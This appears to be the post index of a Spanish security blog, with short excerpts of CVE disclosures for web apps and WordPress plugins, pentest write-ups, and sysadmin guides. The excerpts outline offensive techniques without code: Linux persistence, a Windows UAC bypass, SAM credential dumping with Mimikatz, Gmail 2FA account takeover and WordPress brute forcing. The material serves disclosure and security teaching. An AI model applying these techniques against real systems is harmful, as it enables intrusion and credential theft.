return <-365> …Hola, me llamo Pedro de recursos humanos de la empresa SIDERTIA ,hemos recibido un Curriculum tuyo que nos ha parecido de interés

… .. / . .-. . … / -.-. .- .–. .- –.. / -.. . / .-.. . . .-. / . … – — –..– – . / . … – .- — — … / -… ..- … -.-. .- -. -.. — / . -. / .– .– .– .-.-.- … .. -.. . .-. – .. .- .-.-.- -.-. — — .-.-.

CVE-2019-15092 WordPress Plugin Import Export Users = 1.3.0 - CSV Injection

Thu, 22 Aug 2019 00:00:00 +0000

Impacto

Un usuario malicioso con permisos básicos de WordPress (suscriptor) podría ejecutar comandos en el equipo del administrador a través de inyecciones CSV en los campos display_name, first_name y last_name.

CVSS v3.1 Vector

AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVE-2019-14346 Adive Framework 2.0.7 - Cross-Site Request Forgery

Fri, 02 Aug 2019 00:00:00 +0000

Las vulnerabilidades Cross-Site Request Forgery (CSRF) encontradas en Adive Framework 2.0.7 permiten a un usuario malintencionado realizar acciones como cambiar la contraseña de un usuario a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2019-14346.

CVE-2019-14346

Adive Framework 2.0.7 – Cross-Site Request Forgery

www.adive.es

📅 Vulnerabilidad descubierta por Pablo Santiago el 02/08/2019
🐛 CVE-2019-14346
🔗 Link del software web y del github con el proyecto.
🐞 Versión vulnerable = 2.0.7 y anteriores probablemente.

Solución: Añadir tokens anti-CSRF en las peticiones.

CVE-2019-14347 Escalacion de privilegios en Adive

Fri, 02 Aug 2019 00:00:00 +0000

Adive Framework 2.0.7

https://www.adive.es/

Adive es un Framework PHP 7 para desarrollar webs y aplicaciones en línea,administra bases de datos MySQL, es una alternativa rápida, fácil y excelente para generar plantillas teniendo así la principal estructura visual de cualquier pagina web. Esta versión incluye un kit de herramientas para desarrolladores para generar tablas, campos y entidades, formas de control y bases de datos. Adive es un ambicioso proyecto de Schben, cuyo objetivo es convertir la «codificación» en «diseño».

CVE 2019-14348 JoomSport - for Sports - SQL injection

Mon, 29 Jul 2019 00:00:00 +0000

JoomSport 3.3– for Sports: Team & League, Football, Hockey & more

JoomSport es un plugin de WordPress desarrollado en 2009 que ofrece características esenciales para cualquier sitio de deporte, estándares de ligas de deportes, deportes de equipo con sus respectivas descripciones, historial de partidos, estadísticas y fotos, incluyendo los enfrentamientos entre los equipos con los goles o tantos anotados por ambos equipos y detalles de los partidos.

📅 Vulnerabilidad descubierta por Pablo Santiago el 29/07/2019
🐛 CVE-2019-14348
ExploitDB
🔗 Link del software JoomSport
🐞 Versión vulnerable = 3.3 y anteriores probablemente.

Solución: Parchear la vulnerabilidad para la siguiente versión filtrando los datos de entradas introducidos por el usuario.

LIVING C1B3RWALL

Mon, 22 Jul 2019 00:00:00 +0000

A primeros de Diciembre de este pasado año, me llamó la atención un twitter en el que ví algo que ponía C1B3RWALL ,por lo que mi curiosidad hizo que me pusiera a indagar que era aquello .Quedé sorprendido por lo encontrado en el mismo: EL primer evento Nacional de Ciberseguridad convocado por la Policía Nacional de nuestro país con la colaboración de la Universidad Autónoma de Madrid,( Instituto de Ciencias Forenses y de la Seguridad )a realizar en el mismo vientre donde El Cuerpo engendra a todos los Policías Nacionales de España, La academia de Policía Nacional de Ávila.

Desplegar un servidor privado de Burp Collaborator en Azure

Wed, 12 Jun 2019 00:00:00 +0000

Burp Collaborator es un servicio externo de Burp Suite que nos ayuda a detectar algunas vulnerabilidades basadas en interacciones con servicios externos o las llamadas vulnerabilidades ciegas.

Por defecto, Burp Suite crea de manera automática una instancia pública de Collaborator en sus servidores de AWS para la realización de estas pruebas, por este motivo, algunos usuarios pueden tener preocupaciones sobre la seguridad de los datos procesados, más aún si son de terceros. A continuación, se detallan los pasos para crear nuestro propio Burp Collaborator ayudándonos y complementando la documentación oficial de PortSwigger.

Write-up HTB Chaos

Sat, 25 May 2019 00:00:00 +0000

Buenas a todos,

Con esta entrada vamos a comenzar una nueva serie de posts en los cuales vamos a aprender a explotar máquinas vulnerables y a resolver retos de temática hacking.

En este caso vamos a comenzar con la última máquina retirada de Hack The Box , Chaos.

Para quién no conozca HTB, es un laboratorio de pentesting que proporciona diferentes máquinas y retos para sus usuarios. Suelo recomendar este tipo de plataformas ya que nos permiten aprender diferentes tecnologías enfrentándonos a ellas.

Guía sobre análisis estático de código JavaScript

Mon, 20 May 2019 00:00:00 +0000

JavaScript se ha convertido en una de las tecnologías más utilizadas de los navegadores modernos gracias a frameworks como AngularJS, ReactJS o Vue.js. Esta entrada pretende ser una guía sobre cómo encontrar y analizar todos los archivos JavaScript que contiene una aplicación web con el objetivo de detectar posibles vulnerabilidades, como en la entrada sobre toma de control de subdominios , esta guía intentaré tenerla actualizada.

Es esencial que entendamos la superficie de ataque de las aplicaciones y saber qué debemos buscar y dónde. El análisis de código JavaScript es uno de ellos, por eso a continuación, se detallan una serie de puntos a seguir para detectar fallos de seguridad en el lado del cliente.

Smalisca: Parsing, análisis y gráficos de código Smali

Fri, 17 May 2019 00:00:00 +0000

En la entrada de hoy, vamos a mostrar la herramienta Smalisca . Esta herramienta es de gran utilidad para el análisis de aplicaciones Android (y otro tipo de aplicaciones), ya que nos permitirá obtener los datos de las distintas clases de la aplicación y exportarlos a formato SQLite. También permite realizar una serie de operaciones de búsqueda sobre dichos datos atendiendo a los siguientes criterios:

Clases
Propiedades
Métodos
Cadenas
Llamadas (tanto origen como destino de una llamada)

Finalmente, se pueden generar distintos diagramas en los que se puede ver la relación entre clases.

Que es Smali y como parchear una aplicación Android

Mon, 13 May 2019 00:00:00 +0000

¿Qué es Smali?

Las aplicaciones Android contienen ficheros .dex (Dalvik EXecutable). Estos ficheros se pueden decompilar para obtener un código de bajo nivel llamado Dalvik Bytecode. Utilizando smali/baksmali (ensamblador/desensamblador) se puede obtener una representación en un lenguaje de bajo nivel con el que se puede trabajar más fácilmente, al cual llamaremos código Smali. Hoy en día, apktool ya incorpora smali/baksmali, por lo que será suficiente con desempaquetar el fichero .apk con apktool para obtener el código Smali.

Instalación de Docker en Kali Linux

Wed, 08 May 2019 00:00:00 +0000

En esta entrada veremos como instalar Docker Community Edition en nuestra máquina Kali Linux 2019.

1. Añadir la clave PGP de Docker

curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -

2. Configurar el repositorio de Docker

echo 'deb https://download.docker.com/linux/debian stretch stable' > /etc/apt/sources.list.d/docker.list

3. Actualizar

apt-get update

4. Eliminar versiones obsoletas de Docker (en caso que las tuviéramos)

apt-get remove docker docker-engine docker.io

5. Instalar Docker

apt-get install docker-ce

6. Comprobar si Docker se instaló correctamente

docker run hello-world

7. Comprobar la versión de Docker instalada

docker version

Extras

Añadir usuario al grupo de docker

usermod -aG docker $USER

Arrancar Docker

systemctl start docker

Arrancar Docker al inicio

systemctl enable docker

Instalar DockStation (Gestor de dockers)

wget https://github.com/DockStation/dockstation/releases/download/v1.5.1/dockstation_1.5.1_amd64.deb

dpkg -i dockstation_1.5.1_amd64.deb

Listado de comandos ADB más utilizados

Mon, 06 May 2019 00:00:00 +0000

Android Debug Bridge (ADB) es una herramienta de línea de comandos que viene incluida con el SDK de Android, permite a los desarrolladores comunicarse con un emulador o un dispositivo Android conectado directamente desde la línea de comandos. Esta herramienta podemos encontrarla en el directorio [SDK-PATH]/platform-tools, en Windows por defecto será en C:\Users\[USUARIO]\AppData\Local\Android\Sdk\platform-tools

En esta entrada, vamos a repasar los comandos más utilizados de ADB

Listado de dispositivos

Lo primero que debemos hacer, enumerar los dispositivos conectados.

Persistencia en sistemas Linux a través de XScreenSaver

Mon, 22 Apr 2019 00:00:00 +0000

Después de la explotación con éxito de un sistema, debemos de obtener persistencia en el mismo, este es uno de los pasos más importantes de las fases del pentesting y que, generalmente, ocasiona más inconvenientes, ya que, podemos perder el acceso al sistema si este se reinicia, existen problemas de red o se edita el archivo utilizado como puerta trasera (backdoor).

Esta manera de obtener persistencia, la descubrí leyendo write-ups de CTFs, en concreto, de uno realizado por iamrastating .

Guía sobre toma de control de subdominios

Thu, 11 Apr 2019 00:00:00 +0000

En esta publicación, voy a hablaros sobre una vulnerabilidad conocida como Toma de control de subdominios (subdomain takeover), explicaré en qué consiste y como podemos detectarla. Es posible que pueda ir actualizando esta entrada con nuevas herramientas o técnicas de descubrimiento, así que, te sugiero que la guardes en tus favoritos. 😉

¿En qué consiste la vulnerabilidad?

La vulnerabilidad de toma de control de subdominio, ocurre cuando un registro DNS (principalmente CNAME) habilita la delegación de zona a un servicio de terceros (Amazon S3, Azure, GitHub, Heroku, etc) y, pasado un tiempo, este servicio puede dejar de ser utilizado o borrado y reclamado por un usuario malintencionado, un ejemplo de un caso real sería el siguiente:

Instalación de Golang y Goca en Kali Linux

Sun, 31 Mar 2019 00:00:00 +0000

Golang, es un lenguaje de programación moderno desarrollado por Google, inspirado en la sintaxis de C, es multiplataforma y orientado a objetos. Muchos de los proyectos Open Source, están pasando a este lenguaje, un ejemplo es Aquatone o Goca , además, existen repositorios interesantes con variedad de herramientas de hacking desarrolladas en este lenguaje, por lo tanto, es recomendado tenerlo en nuestra máquina por si necesitáramos usarlo.

CVE-2019-7400 Rukovoditel ERP & CRM 2.4.1 - Cross-Site Scripting Reflejado

Sun, 24 Mar 2019 00:00:00 +0000

CVE-2019-7400

Rukovoditel ERP & CRM 2.4.1 – Cross-Site Scripting Reflejado

Rukovoditel es una aplicación gratuita de gestión de proyectos de código abierto basada en web. Muy lejos de las aplicaciones tradicionales, Rukovoditel ofrece a los usuarios un enfoque más amplio y extenso de la gestión de proyectos. Sus opciones de personalización permiten a los usuarios crear entidades adicionales, modificar y especificar la relación entre ellas y generar los informes necesarios. La plataforma permite a los usuarios crear su propia aplicación que está específicamente diseñada para su actividad (CRM, ERP, HRM, WMS, etc.)

Configurando Burp Suite para versiones superiores a Android Nougat

Sun, 24 Feb 2019 00:00:00 +0000

En las últimas semanas, estoy auditando varias aplicaciones de Android con Burp Suite, después de unos días de trabajo con mi vieja versión de Android 5.0 pensé que ya era hora de actualizar a una superior, y quizás, utilizar nuevas herramientas, aquí me tope con Genymotion gracias a un compañero de trabajo.

Una vez instalado y configurado Burp Suite con Android tal y como nos recomiendan en la web de Portswigger , me encontré con el siguiente problema:

Suplantación de cuentas de Gmail con 2FA

Tue, 22 Jan 2019 00:00:00 +0000

En este caso, vamos a aprender como los atacantes consiguen obtener acceso a cuentas protegidas mediante el doble factor de autenticación en Gmail.

El doble factor de autenticación (2FA) es una medida de seguridad empleada por los sistemas de autenticación que proporciona una capa de seguridad adicional al sistema. Consiste en que el usuario que quiere autenticarse presente al menos dos pruebas que demuestren que es quien dice ser.

En la mayoría de los casos basados en este esquema se suele usar como factores de autenticación:

Análisis estático de código fuente con SonarQube

Mon, 21 Jan 2019 00:00:00 +0000

SonarQube es un conjunto de herramientas de código abierto con interfaz web que nos ayudará a realizar análisis estáticos a nuestro código fuente con el objetivo de mejorar la calidad, solucionar errores y buscar vulnerabilidades.

Actualmente, la última versión es la 7.5 , y soporta más de 25 lenguajes de programación.

🖥 1. Instalación

1.1 Descargar SonarQube Community Edition 7.5

CVE-2018-19829 Integria IMS 5.0.83 - Cross-Site Request Forgery

Mon, 17 Dec 2018 00:00:00 +0000

Las vulnerabilidades Cross-Site Request Forgery (CSRF) encontradas en el software Integria IMS 5.0.83 han quedado solucionadas. Estas, permitían a un usuario malintencionado borrar usuarios de la aplicación a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2018-19829 .

CVE-2018-19829

Integria IMS 5.0.83 - Cross-Site Request Forgery (CSRF)

Integria IMS es un software de help desk sencillo, potente y fácil de usar. Dispone de inventario automatizado y controlado desde un solo interfaz. Agiliza los procesos reduciendo los tiempos y costes de gestión en sus proyectos. Gracias a sus informes personalizados estará informado y podrá ver fácilmente la gestión y calidad del servicio dado en tiempo real.

CVE-2018-19828 Integria IMS 5.0.83 - Cross-Site Scripting Reflejado

Fri, 14 Dec 2018 00:00:00 +0000

CVE-2018-19828

Integria IMS 5.0.83 - Cross-Site Scripting Reflejado

Obtención de contraseña de usuario en Windows 10 décimo aniversario

Fri, 14 Dec 2018 00:00:00 +0000

En esta entrada aprenderemos a recuperar la contraseña de un usuario en un Windows 10 con la actualización del décimo aniversario.

En primer lugar, vamos a definir los ficheros y herramientas que vamos a emplear para llevar a cabo este ejercicio:

SAM: son las siglas de Security Account Manager, este fichero se encarga de almacenar credenciales de los usuarios del sistema en Windows. Dentro de la SAM las contraseñas se almacenan en formato hash.
SYSKEY: este fichero se creó, a partir de Windows 2000, para proteger la SAM frente a ataques offline. Si se habilita el uso de este fichero, las hashes almacenadas en la SAM se cifrarán con una clave conocida como syskey.
Mimikatz: es una herramienta desarrollada en C para realizar diferentes pruebas de seguridad en sistemas Windows. Se suele usar habitualmente para obtener contraseñas y hashes de contraseñas, aunque también permite realizar ataques de tipo Pass-The-Hash.
Pwdump: esta herramienta nos permite volcar el contenido de la SAM.
Hashcat: poderosa herramienta para la recuperación de contraseñas. Nos permite diferentes tipos de ataques sobre las contraseñas y admite multitud de tipos de hash.

El escenario que tenemos el siguiente, un usuario ha olvidado la contraseña de acceso de su portátil, en el cual tiene Windows 10 como sistema operativo.

CVE-2018-18921 PHP Server Monitor 3.3.1 - Cross-Site Request Forgery

Mon, 03 Dec 2018 00:00:00 +0000

Las vulnerabilidades Cross-Site Request Forgery (CSRF) encontradas en el software PHP Server Monitor 3.3.1 han quedado solucionadas. Estas, permitían a un usuario malintencionado borrar servidores, logs y usuarios de la aplicación a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2018-18921 .

CVE-2018-18921

PHP Server Monitor 3.3.1 - Cross-Site Request Forgery (CSRF)

PHP Server Monitor es una aplicación web orientada a monitorizar la disponibilidad de servidores PHP, comprueba si están correctamente funcionando, monitoriza los servicios, genera gráficos e historial de actividad además de almacenar logs de errores y permitir notificaciones a través de email y Telegram, está desarrollada en PHP y MySQL.

365 retos de Ciberseguridad junto a SIDERTIA

Thu, 29 Nov 2018 00:00:00 +0000

Normalmente, suelo escribir entradas técnicas relacionadas con la Ciberseguridad, pero hoy, me vais a permitir hacer un paréntesis en las entradas del blog para hablaros sobre mi primer año dedicándome profesionalmente a la Ciberseguridad, ya que hoy, 29 de noviembre de 2018, se cumple exactamente un año que empecé este reto junto a SIDERTIA , empresa dedicada a la Ciberseguridad con sede en Madrid. Por este motivo, quería compartir con todos vosotros un pequeño resumen de lo que ha sido este maravilloso año, de mi experiencia laboral en este campo y de cómo decidí dedicarme a la Ciberseguridad.

Mocking the UAC - Bypasseando las nuevas versiones en Windows

Fri, 23 Nov 2018 00:00:00 +0000

Hace unos días, una nueva técnica llamada mocking vio la luz en el amplio abanico de métodos para bypassear el UAC (User Account Control) en las versiones más recientes de Windows, incluido Windows 10. Como es sabido, el UAC nos da una capa de seguridad ante posibles ataques de malware, evitando que se generen cambios en el registro, se creen ficheros, servicios, etc.

Siguiendo el trabajo de @zc00l y @Oddvar, compilando mediante la consola de powershell un pequeño script en C# que explota el servicio cmstp.exe, generamos una DLL que mediante Reflection.Assembly cargamos en el sistema, para luego ejecutarla.

TOP 10 herramientas de seguridad para aplicaciones web

Tue, 20 Nov 2018 00:00:00 +0000

En esta entrada, os mostraré un listado de las que son (para mí), las 10 mejores herramientas de seguridad para aplicaciones web.

No soy un experto en hacking web y puede que no estés del todo de acuerdo con mi lista TOP, por lo tanto, siéntete libre de comentar y añadir la tuya 😉

TOP 10 Herramientas de seguridad web

#1 Burp Suite

CVE-2018-18922 Ticketly 1.0 - Escalación de Privilegios (Crear cuenta administrador)

Mon, 05 Nov 2018 00:00:00 +0000

Hoy, publico otra entrada relacionada con vulnerabilidades en aplicaciones web, esta vez, sobre un software de ticketing llamado Ticketly 1.0 desarrollado por AbiSoft. La vulnerabilidad encontrada, permite a un atacante crearse una cuenta de administrador en el sistema mediante una vulnerabilidad de Escalación de Privilegios , la vulnerabilidad ha sido asociada al CVE-2018-18922 .

Ticketly - CVE-2018-18922

Ticketly 1.0 - Privilege Escalation (Add Admin Account)

CVE-2018-18923 Ticketly 1.0 - Múltiples SQL Injections

Mon, 05 Nov 2018 00:00:00 +0000

En la entrada anterior , hemos visto una vulnerabilidad de Escalación de Privilegios en Ticketly 1.0 , en esta entrada, vamos a ver otras vulnerabilidades que he encontrado en este software, en concreto, múltiples SQL Injections, estas vulnerabilidades han sido asociadas al CVE-2018-18923 .

Ticketly - CVE-2018-18923

Ticketly 1.0 - Multiple SQL Injections

Ticketly 1.0, es un software de ticketing desarrollado por AbiSoft para ofrecer soporte a los usuarios sobre incidencias en los sistemas, está basado en PHP y MySQL.

CVE-2018-18478 Libre NMS 1.43 - Cross-Site Scripting Persistente

Fri, 19 Oct 2018 00:00:00 +0000

Esta entrada tiene como objetivo hacer pública la vulnerabilidad Cross-Site Scripting Persistente descubierta en el software Libre NMS 1.43 , la vulnerabilidad ha sido asociada al CVE-2018-18478 .

Libre NMS - CVE-2018-18478

Libre NMS 1.43 – Cross-Site Scripting Persistente

Libre Network Monitoring System, es un software utilizado para monitoreo de red basado en PHP / MySQL / SNMP que incluye el soporte para una amplia gama de hardware de red y sistemas operativos que incluyen Cisco, Linux, FreeBSD, Juniper, Brocade, Foundry, HP y muchos más.

OWASP Juice Shop Project - Laboratorio para practicar las 10 vulnerabilidades más comunes en aplicaciones web

Mon, 08 Oct 2018 00:00:00 +0000

OWASP Juice Shop es una aplicación web desarrollada completamente en JavaScript con el objetivo de reproducir de manera intencionada las 10 vulnerabilidades más comunes en aplicaciones web (Top Ten de OWASP) para que el usuario pueda explotarlas y aprender sobre la seguridad en aplicaciones web.

TOP Ten de OWASP (2017)

Estas son las vulnerabilidades más comunes en aplicaciones web en el 2017

1) Inyección

Las fallas de inyección, como SQL, NoSQL, OS o LDAP ocurren cuando se envían datos no confiables a un intérprete, como parte de un comando o consulta. Los datos dañinos del atacante pueden engañar al intérprete para que ejecute comandos involuntarios o acceda a los datos sin la debida autorización.

CVE-2018-15918 Jorani Leave Management System 0.6.5 - SQL Injection

Mon, 03 Sep 2018 00:00:00 +0000

Esta entrada tiene como finalidad hacer pública la vulnerabilidad SQL Injection descubierta en el software Jorani Leave Management System 0.6.5 , la vulnerabilidad ha sido asociada al CVE-2018-159178 .

Jorani CVE-2018-15918

Jorani Leave Management System 0.6.5 – SQL Injection

Jorani es un sistema de administración de licencias desarrollado en PHP / MySQL bajo una licencia AGPL v3, está diseñado para proporcionar solicitud de flujos de trabajo simples y tiempo extra para organizaciones pequeñas.

CVE-2018-15917 Jorani Leave Management System 0.6.5 - Cross-Site Scripting Persistente

Sat, 01 Sep 2018 00:00:00 +0000

Esta entrada tiene como objetivo hacer pública la vulnerabilidad Cross-Site Scripting Persistente descubierta en el software Jorani Leave Management System 0.6.5 , la vulnerabilidad ha sido asociada al CVE-2018-15917 .

Jorani CVE-2018-15917

Jorani Leave Management System 0.6.5 - Cross-Site Scripting Persistente

CVE-2018-15873 Sentrifugo HRMS 3.2 - Blind SQL Injection

Sun, 26 Aug 2018 00:00:00 +0000

Esta entrada tiene como objetivo hacer pública la vulnerabilidad Blind SQL Injection descubierta en el software Sentrifugo HRMS 3.2 , la vulnerabilidad ha sido asociada al CVE-2018-15873 .

Sentrifugo HRMS 3.2 - CVE-2018-15873

Sentrifugo es un software open source que facilita la administración de recursos humanos en las organizaciones. Está repleto de módulos esenciales como evaluación, gestión del tiempo, gestión de licencias, gestión de empleados, análisis, contratación, verificación de antecedentes, servicio técnico y mucho más. Permite a los empleados contribuir de manera efectiva y productiva a los objetivos de la organización.

CVE-2018-15571 WordPress Plugin Export Users to CSV 1.1.1 - CSV Injection

Fri, 24 Aug 2018 00:00:00 +0000

Buenas a todos de nuevo, volviendo de las vacaciones 🏖️, MITRE me ha asignado otro CVE para plugins WordPress , esta vez, he descubierto una vulnerabilidad de ejecución remota de código a través de inyección CSV en el plugin Export Users to CSV - 1.1.1 , desarrollado por Matt Cromwell . Esta vulnerabilidad ya fue reportada, no ha sido reconocida por el autor y ha sido asociada al CVE-2018-15571 .

WordPress Plugin CVE-2018-15571

Export Users to CSV - 1.1.1 - Inyección CSV

RouterSploit - Comprueba si tu router es vulnerable

Sat, 28 Jul 2018 00:00:00 +0000

El router es, posiblemente, el dispositivo más propenso a ataques de nuestro hogar, ya que es el encargado de dirigir todo el tráfico de nuestra red hacía Internet, lo que expone a que cualquier atacante externo intente vulnerarlo. Desafortunadamente, la mayoría de las personas no dedican mucho tiempo a configurar este dispositivo crítico, por ejemplo, no actualizamos el firmware o dejamos las contraseñas por defecto. En esta entrada, vamos a ver como podemos auditar de manera muy sencilla nuestro router mediante el framework RouterSploit.

CVE-2018-14430 WordPress Plugin Multi Step Form <= 1.2.5 - Múltiples Cross Site Scripting Reflejados

Sat, 21 Jul 2018 00:00:00 +0000

Durante otra de mis auditorias a plugins para WordPress , he descubierto varias vulnerabilidades del tipo Cross Site Scripting Reflejado (XSS) en el plugin Multi Step Form <= 1.2.5 , desarrollado por Mondula GmbH . Esta vulnerabilidad ya fue reportada y ha sido asociada al CVE-2018-14430 .

WordPress Plugin CVE-2018-14430

Multi Step Form <= 1.2.5 – Múltiples Cross Site Scripting Reflejados

Como crear un hack para obtener monedas ilimitadas en videojuegos con Visual Studio y Cheat Engine

Sun, 15 Jul 2018 00:00:00 +0000

En esta entrada, vamos a aprender como crearnos nuestro propio hack para videojuegos con el objetivo de obtener 💰 monedas ilimitadas, para el ejemplo, voy a crear un hack para el videojuego «El Señor del Olimpo Zeus», uno de mis juegos favoritos. El hack, lo desarrollaremos en Visual Basic con Visual Studio y Cheat Engine para encontrar la dirección de memoria dónde el videojuego almacena las monedas. Comentaros, que he elegido este videojuego por lo simple que resulta buscar las direcciones de memoria (son estáticas), en otros videojuegos, podemos encontrarnos direcciones de memoria dinámicas (cambian cada vez que se ejecuta el videojuego), las cuales se precisa encontrar los punteros previamente para que el hack funcione, aunque los pasos son exactamente los mismos para encontrarlas, demora demasiado tiempo, quizás, en otra ocasión me anime a hacer un vídeo cuando tenga más tiempo. Os dejo este enlace por si queréis mirar más a fondo.

CVE-2018-13832 WordPress Plugin All In One Favicon <= 4.6 - Autenticado Múltiples Cross Site Scripting Persistentes

Tue, 10 Jul 2018 00:00:00 +0000

Durante una de mis auditorias a plugins para WordPress , he descubierto varias vulnerabilidades del tipo Cross Site Scripting Persintente (XSS) en el plugin All In One Favicon <= 4.6 , desarrollado por Arne Franken de Techotronic . Esta vulnerabilidad ya fue reportada y ha sido asociada al CVE-2018-13832 .

WordPress Plugin CVE-2018-13832

All In One Favicon <= 4.6 – Autenticado Múltiples Cross Site Scripting Persistentes

Enumerar usuarios y realizar ataques de fuerza bruta en WordPress con Burp Suite

Wed, 20 Jun 2018 00:00:00 +0000

En esta entrada vamos a ver como 👤 enumerar usuarios y realizar ataques de fuerza bruta para intentar acceder al panel de administración de un sitio web desarrollado con el CMS (Gestor de contenido) WordPress, para realizar este ataque, haremos uso de la herramienta 🛠 Burp Suite.

Existen varios scripts e incluso herramientas como 🛠 WPScan para realizar enumeración de usuarios y ataques por fuerza bruta, el inconveniente de estas herramientas, es que pueden realizar pruebas activas contra el sitio web que no deseamos realizar.

Crea tu servicio oculto en la red TOR con dirección onion personalizada

Thu, 19 Apr 2018 00:00:00 +0000

Cuando hablamos de la 🖧 red TOR, solemos asociarla a todo tipo de actos delictivos (tráfico de drogas, cibercrimen organizado, venta de armas u otras actividades ilícitas), pero, al margen de esta mala imagen de la red TOR, es una excelente herramienta que puede ayudarnos a mantener nuestra 🕵️‍♂️ privacidad y anonimato en la red, sobre todo si queremos ofrecer algún servicio sin revelar nuestra identidad.

En esta entrada veremos como crear un servicio oculto en nuestro equipo y hacerlo accesible a la red TOR mediante una dirección onion personalizada, los pasos que seguiremos serán los siguientes:

TorGhost - Reenvía todo el tráfico a la red TOR

Thu, 12 Apr 2018 00:00:00 +0000

La red TOR es una de las mejores opciones a la hora de proteger nuestra identidad en la red, dado que sus métodos de transferencia de datos son altamente criptográficos y cada petición a un mismo servicio se envía por rutas diferentes utilizando múltiples nodos, algo que complica mucho trazar a un usuario dentro la red.

Para navegar por la red TOR, bastaría con 📦descargar su bundle , pero, tenemos que tener en cuenta, que de esta manera solo protegeríamos nuestra privacidad usando su navegador, el resto de tráfico no se enviaría por TOR.

Desactivar Windows Defender y Firewall completamente en Windows 10

Wed, 11 Apr 2018 00:00:00 +0000

Muchos de vosotros os preguntaréis por qué un usuario querría desactivar los sistemas de seguridad, como Windows Defender o el Firewall de un equipo, poniendo así en riesgo el equipo ante alguna amenaza 🐞, pero ¿y si lo que queremos es analizar esas amenazas? ¿Y si autoinfecto mi equipo para estudiar cómo se comporta un determinado malware?, en estos casos, quizás te interese desactivar cualquier medida de protección de tu equipo.

Exploit CVE-2018-6389 - WordPress Core - Denial of Service

Thu, 08 Mar 2018 00:00:00 +0000

Últimamente estoy muy atento de las vulnerabilidades de los CMS y vengo a compartir con vosotros otro exploit que he desarrollado para la vulnerabilidad CVE-2018-6389 . Esta vulnerabilidad descubierta por Barak Tawily , permite lanzar un ataque de denegación de servicio (DOS) sobre las páginas webs desarrolladas con WordPress (se estima que aproximadamente el 29% de todas las webs que existen actualmente en el mundo están desarrolladas con este framework).

Exploit CVE-2018-6396 - Joomla Google Map Landkarten SQL Injection

Sun, 04 Mar 2018 00:00:00 +0000

Hoy quería compartir con vosotros un exploit que he desarrollado en Python para explotar una vulnerabilidad SQLi descubierta por Ihsan Sencan en el componente Google Map Landkarten , esta vulnerabilidad tiene asociado el CVE-2018-6396.

Joomla CVE-2018-6396

Joomla! Component Google Map Landkarten <= 4.2.3 – SQL Injection

📅 Vulnerabilidad descubierta por Ihsan Sencan el 16/02/2018
💣 Exploit desarrollado por Javier Olmedo el 03/03/2018
🐛 CVE-2018-6396
🔗 Link del software Google Map Landkarten
🐞 Versión vulnerable <= 4.2.3

¿Cómo usar este exploit?

En primer lugar, usa este exploit únicamente sobre sitios web administrados por ti o en los cuales tengas consentimiento para realizar está comprobación, en mi caso, me he creado una web con Joomla 3.8.5 en mi máquina local.

WordPress Exploit FrameWork (WPXF) - Instalación, comandos y uso con ejemplo de explotación

Fri, 05 Jan 2018 00:00:00 +0000

WordPress Exploit FrameWork es una herramienta que sirve de ayuda a los auditores de aplicaciones web a la hora realizar pruebas de seguridad sobre sitios webs basados en el conocido gestor de contenidos (CMS) WordPress, está desarrollado en Ruby y está orientado al uso y desarrollo de módulos, exploits y payloads, algo similar al conocido Metasploit.

Instalación de Mozilla Firefox Quantum en Kali Linux

Tue, 12 Dec 2017 00:00:00 +0000

En esta entrada, veremos como instalar Firefox Quantum en Kali Linux y otras distribuciones basadas en Debian.

Firefox Quantum es el nuevo navegador de Mozilla, mucho más rápido que su antecesor y con un nuevo motor con lo último en tecnología para navegadores.

Pasos a seguir para su instalación

Descargamos Firefox Quantum desde su web oficial https://www.mozilla.org/es-ES/firefox/
Una vez descargado, botón derecho y extraemos los archivos, también podemos descomprimir con el comando tar, de la siguiente manera:

ESET Remote Administrator (ERA) - Parte II: Instalar Agente ERA mediante tarea

Tue, 14 Nov 2017 00:00:00 +0000

Buenas a todos, en esta entrada sobre ESET Remote Administrator (ERA) vamos a ver como instalar el Agente ERA en los equipos mediante una tarea, a través del agente, podremos administrar los equipos, por ejemplo, después de tenerlo configurado en los equipos comenzaremos a instalar la solución antivirus ESET EndPoint Security mediante otra tarea y de manera desatendida.

En mi caso tengo instalado ERA en la siguiente dirección https://192.168.100.10/era

ESET Remote Administrator (ERA) - Parte I: Instalación

Wed, 08 Nov 2017 00:00:00 +0000

Ya hemos visto en entradas anteriores como mantener nuestros equipos del dominio con las últimas actualizaciones críticas y parches de seguridad para mantenerlos más seguros, otra de las tareas prioritarias que debemos de hacer, es proveer de una solución antivirus a los equipos, en esta entrada, veremos cómo instalar ERA (ESET Remote Administrator) en un controlador de dominio con Windows Server 2016.

Crear una GPO para bloquear la sesión de usuario por inactividad

Mon, 06 Nov 2017 00:00:00 +0000

En algunas ocasiones, los usuarios, por olvido, pueden dejar su sesión abierta mientras se ausentan de su puesto, esto puede implicar que un tercero acceda a información o a aplicaciones sin autorización. En esta entrada vamos a configurar una GPO (Directiva de grupo) para que se bloquee su sesión pasados 5 minutos y sea necesario volver a introducir la contraseña de usuario.

WSUS (Windows Server Update Services): Reportes y uso - Parte III

Thu, 02 Nov 2017 00:00:00 +0000

Última entrada sobre WSUS, esta vez hablaremos sobre el uso de la consola y la generación de reportes, si aún no has leído las entradas anteriores, te dejo por aquí la primera entrada dónde hablo sobre la instalación y la segunda entrada sobre la creación de una política.

Lo primero que nos encontramos al intentar generar un reporte con la consola de WSUS, es un error de una característica no disponible, en concreto “Microsoft Report Viewer 2012 Redistributalbe”.

WSUS (Windows Server Update Services): Configuración de política - Parte II

Fri, 27 Oct 2017 00:00:00 +0000

Seguimos con la segunda parte sobre WSUS (Windows Server Update Services), en esta entrada vamos a ver como crear una política en el dominio para aplicar a los equipos clientes, si no has empezado esta serie de entradas, puedes ver la primera parte .

Crear política para equipos clientes

Abrimos “Administración de directivas de grupo”, en “Herramientas”.

En mi caso, tengo creada una unidad organizativa dentro de «Usuarios y equipos del Active directory» para ubicar todos los equipos clientes del dominio, «Click derecho» y «Crear una GPO en este dominio y vincularlo aquí», ponemos un nombre y aceptamos.

WSUS (Windows Server Update Services): Instalación y configuración - Parte I

Tue, 24 Oct 2017 00:00:00 +0000

Buenas a todos, voy a comenzar una serie de entradas en el blog dónde explicaré como implementar WSUS (Windows Server Update Services) en un dominio con Windows Server 2016 para mantener nuestros equipos de la empresa actualizados y más seguros, en un principio, creo que con 3 entradas podré explicar lo necesario para tener este rol completamente funcional.

